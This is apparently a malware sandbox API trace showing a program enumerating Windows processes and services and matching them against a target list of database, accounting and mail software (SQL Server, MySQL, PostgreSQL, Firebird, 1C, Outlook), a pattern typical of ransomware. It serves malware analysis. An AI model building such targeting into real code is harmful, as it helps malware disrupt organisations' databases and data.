[0200.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0200.691] lstrlenW (lpString="Spooler") returned 7 [0200.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0200.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0200.691] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0200.691] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0200.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0200.691] lstrlenW (lpString="Themes") returned 6 [0200.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0200.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0200.692] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0200.692] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0200.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0200.692] lstrlenW (lpString="UxSms") returned 5 [0200.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0200.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0200.692] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0200.692] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0200.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0200.692] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x41dbcc0 | out: hHeap=0x880000) returned 1 [0200.692] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x29c [0200.700] Process32FirstW (in: hSnapshot=0x29c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0200.701] Process32NextW (in: hSnapshot=0x29c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0200.702] lstrlenW (lpString="System") returned 6 [0200.702] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0200.703] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0200.703] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0200.703] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0200.703] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0200.703] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0200.703] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0200.703] Process32NextW (in: hSnapshot=0x29c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0200.704] lstrlenW (lpString="smss.exe") returned 8 [0200.705] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0200.705] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0200.705] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0200.705] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0200.705] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0200.705] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0200.705] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0200.705] Process32NextW (in: hSnapshot=0x29c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0200.706] lstrlenW (lpString="csrss.exe") returned 9 [0200.706] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0200.706] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0200.707] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0200.707] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0200.707] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0200.707] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0200.707] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0200.707] Process32NextW (in: hSnapshot=0x29c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0200.708] lstrlenW (lpString="wininit.exe") returned 11 [0200.708] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0200.708] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0200.708] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0200.708] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0200.709] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0200.709] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0200.709] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0200.709] Process32NextW (in: hSnapshot=0x29c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0200.710] lstrlenW (lpString="csrss.exe") returned 9 [0200.710] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0200.710] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0200.710] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0200.710] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0200.710] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0200.710] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0200.711] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0200.711] Process32NextW (in: hSnapshot=0x29c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0200.712] lstrlenW (lpString="winlogon.exe") returned 12 [0200.712] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0200.712] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0200.712] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0200.712] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0200.712] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0200.713] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0200.713] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0200.713] Process32NextW (in: hSnapshot=0x29c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0200.714] lstrlenW (lpString="services.exe") returned 12 [0200.714] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0200.714] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0200.714] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0200.714] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0200.714] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0201.145] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0201.146] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0201.146] Process32NextW (in: hSnapshot=0x29c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0201.147] lstrlenW (lpString="lsass.exe") returned 9 [0201.147] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0201.147] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0201.147] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0201.147] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0201.147] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0201.147] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0201.147] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0201.147] Process32NextW (in: hSnapshot=0x29c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0201.149] lstrlenW (lpString="lsm.exe") returned 7 [0201.149] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0201.149] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0201.149] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0201.149] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0201.149] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0201.149] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0201.149] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0201.149] Process32NextW (in: hSnapshot=0x29c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.151] lstrlenW (lpString="svchost.exe") returned 11 [0201.151] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0201.151] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0201.151] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0201.151] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0201.151] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0201.151] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0201.151] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0201.151] Process32NextW (in: hSnapshot=0x29c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.152] lstrlenW (lpString="svchost.exe") returned 11 [0201.153] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0201.153] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0201.153] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0201.153] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0201.153] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0201.153] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0201.153] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0201.153] Process32NextW (in: hSnapshot=0x29c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.154] lstrlenW (lpString="svchost.exe") returned 11 [0201.154] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0201.155] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0201.155] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0201.155] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0201.155] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0201.155] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0201.155] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0201.155] Process32NextW (in: hSnapshot=0x29c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.157] lstrlenW (lpString="svchost.exe") returned 11 [0201.157] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0201.157] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0201.157] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0201.157] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0201.158] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0201.158] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0201.158] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0201.158] Process32NextW (in: hSnapshot=0x29c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.160] lstrlenW (lpString="svchost.exe") returned 11 [0201.160] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0201.160] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0201.160] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0201.160] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0201.160] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0201.161] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0201.161] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0201.161] Process32NextW (in: hSnapshot=0x29c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0201.163] lstrlenW (lpString="audiodg.exe") returned 11 [0201.163] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0201.163] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0201.163] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0201.163] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0201.164] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0201.164] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0201.164] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0201.164] Process32NextW (in: hSnapshot=0x29c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.167] lstrlenW (lpString="svchost.exe") returned 11 [0201.167] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0201.167] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0201.167] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0201.168] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0201.168] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0201.168] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0201.168] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0201.168] Process32NextW (in: hSnapshot=0x29c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0201.170] lstrlenW (lpString="userinit.exe") returned 12 [0201.170] lstrcmpiW (lpString1="1c8.exe", lpString2="userinit.exe") returned -1 [0201.170] lstrcmpiW (lpString1="1cv77.exe", lpString2="userinit.exe") returned -1 [0201.170] lstrcmpiW (lpString1="outlook.exe", lpString2="userinit.exe") returned -1 [0201.170] lstrcmpiW (lpString1="postgres.exe", lpString2="userinit.exe") returned -1 [0201.170] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="userinit.exe") returned -1 [0201.171] lstrcmpiW (lpString1="mysqld.exe", lpString2="userinit.exe") returned -1 [0201.171] lstrcmpiW (lpString1="sqlservr.exe", lpString2="userinit.exe") returned -1 [0201.171] Process32NextW (in: hSnapshot=0x29c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0201.173] lstrlenW (lpString="explorer.exe") returned 12 [0201.173] lstrcmpiW (lpString1="1c8.exe", lpString2="explorer.exe") returned -1 [0201.173] lstrcmpiW (lpString1="1cv77.exe", lpString2="explorer.exe") returned -1 [0201.173] lstrcmpiW (lpString1="outlook.exe", lpString2="explorer.exe") returned 1 [0201.173] lstrcmpiW (lpString1="postgres.exe", lpString2="explorer.exe") returned 1 [0201.173] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="explorer.exe") returned 1 [0201.174] Process32NextW (in: hSnapshot=0x29c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0201.175] lstrlenW (lpString="dwm.exe") returned 7 [0201.176] Process32NextW (in: hSnapshot=0x29c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.177] lstrlenW (lpString="svchost.exe") returned 11 [0201.178] Process32NextW (in: hSnapshot=0x29c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0201.179] lstrlenW (lpString="driver.exe") returned 10 [0201.179] Process32NextW (in: hSnapshot=0x29c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0201.683] lstrlenW (lpString="spoolsv.exe") returned 11 [0201.683] Process32NextW (in: hSnapshot=0x29c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0201.685] lstrlenW (lpString="taskhost.exe") returned 12 [0201.685] Process32NextW (in: hSnapshot=0x29c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.686] lstrlenW (lpString="svchost.exe") returned 11 [0201.686] Process32NextW (in: hSnapshot=0x29c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0201.687] lstrlenW (lpString="dllhost.exe") returned 11 [0201.687] Process32NextW (in: hSnapshot=0x29c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0201.689] lstrlenW (lpString="cmd.exe") returned 7 [0201.689] Process32NextW (in: hSnapshot=0x29c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0201.690] lstrlenW (lpString="reader_sl.exe") returned 13 [0201.690] Process32NextW (in: hSnapshot=0x29c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="AdobeARM.exe")) returned 1 [0201.691] lstrlenW (lpString="AdobeARM.exe") returned 12 [0201.691] Process32NextW (in: hSnapshot=0x29c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0201.693] lstrlenW (lpString="conhost.exe") returned 11 [0201.693] Process32NextW (in: hSnapshot=0x29c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0201.694] lstrlenW (lpString="mode.com") returned 8 [0201.694] Process32NextW (in: hSnapshot=0x29c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0201.697] CloseHandle (hObject=0x29c) returned 1 [0201.697] Sleep (dwMilliseconds=0x1f4) [0202.780] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3b02430 [0203.307] EnumServicesStatusExW (in: hSCManager=0x3b02430, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0203.920] GetLastError () returned 0xea [0203.920] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa08) returned 0x3b05d78 [0203.920] EnumServicesStatusExW (in: hSCManager=0x3b02430, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3b05d78, cbBufSize=0xa08, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3b05d78, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0203.924] CloseServiceHandle (hSCObject=0x3b02430) returned 1 [0203.927] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0203.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0203.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0203.928] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0203.928] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0203.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0203.928] lstrlenW (lpString="AudioSrv") returned 8 [0203.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0203.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0203.928] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0203.928] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0203.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0203.928] lstrlenW (lpString="BFE") returned 3 [0203.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0203.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0203.928] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0203.929] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0203.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0203.929] lstrlenW (lpString="CscService") returned 10 [0203.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0203.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0203.929] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0203.929] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0203.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0203.929] lstrlenW (lpString="DcomLaunch") returned 10 [0203.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0203.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0203.930] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0203.930] lstrcmpiW (lpString1="mssqlserver", 